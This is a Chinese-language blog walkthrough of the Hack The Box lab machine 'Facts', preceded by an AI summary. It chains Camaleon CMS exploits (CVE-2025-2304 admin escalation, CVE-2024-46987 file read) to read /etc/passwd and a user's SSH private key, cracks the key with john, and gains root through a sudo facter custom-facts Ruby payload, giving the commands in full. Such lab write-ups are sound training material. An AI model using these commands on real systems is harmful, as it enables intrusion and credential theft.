HTB Facts wp

你是慕鸢呀~ 发布于 16 小时前 20 次阅读 375 字 预计阅读时间: 2 分钟


AI 摘要

## HTB Facts 靶机攻略 ### 信息收集 - 开放端口:22 (SSH)、80 (HTTP)、54321 - 80端口为Web应用,需修改hosts文件绑定域名访问 - 注册账号登录后确认系统为Camaleon CMS v2.9.0 ### 漏洞利用过程 #### 1. 权限提升至管理员 - 使用CVE-2025-2304漏洞将普通账号提升为管理员: ```bash python exp.py http://facts.htb abc abc@123 ``` #### 2. 任意文件读取 - 利用CVE-2024-46987漏洞读取系统文件(该漏洞在2.9.0版本仍有效): ```bash python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /etc/passwd ``` - 获取用户信息:用户trivia(uid 1000)、william(uid 1001) #### 3. 获取SSH私钥 ```bash python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /home/trivia/.ssh/id_ed25519 ``` #### 4. 破解SSH密钥密码 - 使用ssh2john将私钥转换为hash格式 - 用john爆破密码,约3分钟获得密码 - SSH登录trivia账户 #### 5. 横向移动 - 在william目录获取第一个flag - 执行`sudo -l`发现可免密码运行`/usr/bin/facter` #### 6. 权限提升至root - 利用facter的`--custom-dir`参数实现RCE: ```bash mkdir -p /tmp/rfacts cat > /tmp/rfacts/evil.rb ``` - 通过自定义facts文件执行命令,最终获取root权限 ### 关键点 - Camaleon CMS存在多个历史漏洞 - CVE-2024-46987在2.9.0版本仍然有效 - MinIO存储为干扰项,实际利用中未使用 - 通过sudo配置不当实现最终权限提升

思路

https://app.hackthebox.com/machines/Facts

Nmap 扫出来 22 80 54321

80 是一个 web,改 host,域名打开,注册账号并登录

登录之后确定 cms 为 Camaleon CMS. Version 2.9.0

找历史漏洞,模板上传 rce 不行, MinIO 是兔子洞,没什么作用。

GitHub 找到一个 CVE-2025-2304 提权漏洞,可以把普通账号提为 admin

python exp.py http://facts.htb abc abc@123

把自己提成 admin 之后,可以读到 MinIO 存储的 aksk,但是没用

补一句,这里可以把 admin 的密码改掉,但是意义并不大,我后面用的都是 admin,注意区分

接下来会用到 CVE-2024-46987 ,在官方通报中,这个漏洞在 2.8.0 至 < 2.8.2 可用,但是经实际测试,在 2.9.0 也可用

利用这个任意文件读取,读 passwd 获取用户名

python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /etc/passwd

拿到 id 为 1000 的用户名 trivia 1001 是 william

接着读 ssh 私钥(id_rsa、id_ed 25519、id_ecdsa)

python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /home/trivia/.ssh/id_ed25519

读到之后,ssh 登录,但是 key 有密码用 ssh 2 john 存为 hash,再用 john 爆破,大概三分钟拿到密码。

Ssh 上去之后,在 william 目录拿到 key 1,sudo -l 找到免 passwd 命令 /usr/bin/facter

Facter 有一个 --custom-dir 参数,可以构造 RCE

mkdir -p /tmp/rfacts
cat > /tmp/rfacts/evil.rb << 'EOF'
Facter.add('evil') do
  setcode do
    system('/bin/bash')
  end
end
EOF

提权至 root

sudo /usr/bin/facter --custom-dir /tmp/rfacts evil
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2026-02-08